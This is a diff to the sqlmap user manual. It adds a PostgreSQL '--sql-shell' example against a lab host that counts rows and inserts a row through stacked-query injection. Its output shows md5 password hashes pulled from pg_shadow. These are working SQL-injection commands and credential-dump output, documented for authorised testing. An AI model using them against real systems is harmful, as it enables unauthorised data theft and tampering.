@@ -3545,7 +3545,7 @@ <H3>Run your own SQL statement</H3>
3545
3545
"SELECT usename FROM pg_user" -v 0
3546
3546
3547
3547
[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
3548
- [hh:mm:37] [INPUT] the SQL query provided can return up to 2 entries. How many entries
3548
+ [hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
3549
3549
do you want to retrieve?
3550
3550
[a] All (default)
3551
3551
[#] Specific number
@@ -3643,11 +3643,10 @@ <H3>Run your own SQL statement</H3>
3643
3643
[a] All (default)
3644
3644
[#] Specific number
3645
3645
[q] Quit
3646
- Choice:
3646
+ Choice: 2
3647
3647
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
3648
3648
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
3649
3649
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
3650
- [*] testuser2,
3651
3650
</ PRE >
3652
3651
</ CODE > </ BLOCKQUOTE >
3653
3652
</ P >
@@ -3788,22 +3787,42 @@ <H3>Run your own SQL statement</H3>
3788
3787
column names of the table then asks if the query can return multiple
3789
3788
entries and goes on.</ P >
3790
3789
3791
- < P > Example of SQL statement other than < CODE > SELECT</ CODE > on an < B > Oracle XE
3792
- 10.2.0.1 </ B > target:</ P >
3790
+ < P > Example of SQL statement other than < CODE > SELECT</ CODE > on a < B > PostgreSQL
3791
+ 8.3.5 </ B > target:</ P >
3793
3792
< P >
3794
3793
< BLOCKQUOTE > < CODE >
3795
3794
< PRE >
3796
- $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle /get_int.php?id=1" --sql-shell -v 1
3795
+ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql /get_int.php?id=1" --sql-shell -v 1
3797
3796
3798
3797
[...]
3799
- back-end DBMS: Oracle
3798
+ back-end DBMS: PostgreSQL
3800
3799
3801
- [hh:mm:20] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
3802
- sql> TODO
3800
+ [10:11:42] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
3801
+ sql> SELECT COUNT(name) FROM users
3802
+ [10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
3803
+ [10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
3804
+ [10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users
3805
+ [10:11:59] [INFO] retrieved: 4
3806
+ [10:11:59] [INFO] performed 13 queries in 0 seconds
3807
+ SELECT COUNT(name) FROM users: '4'
3808
+
3809
+ sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
3810
+ [10:12:35] [INFO] testing stacked queries support on parameter 'id'
3811
+ [10:12:40] [INFO] the web application supports stacked queries on parameter 'id'
3812
+ [10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');'
3813
+ [10:12:40] [INFO] done
3814
+ sql> SELECT COUNT(name) FROM users
3815
+ [10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
3816
+ [10:12:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
3817
+ [10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users
3818
+ [10:12:53] [INFO] retrieved: 5
3819
+ [10:12:54] [INFO] performed 20 queries in 0 seconds
3820
+ SELECT COUNT(name) FROM users: '5'
3803
3821
</ PRE >
3804
3822
</ CODE > </ BLOCKQUOTE >
3805
3823
</ P >
3806
3824
3825
+ < P > TODO</ P >
3807
3826
3808
3827
3809
3828
< H2 > < A NAME ="ss5.8 "> 5.8</ A > < A HREF ="#toc5.8 "> File system access</ A >
0 commit comments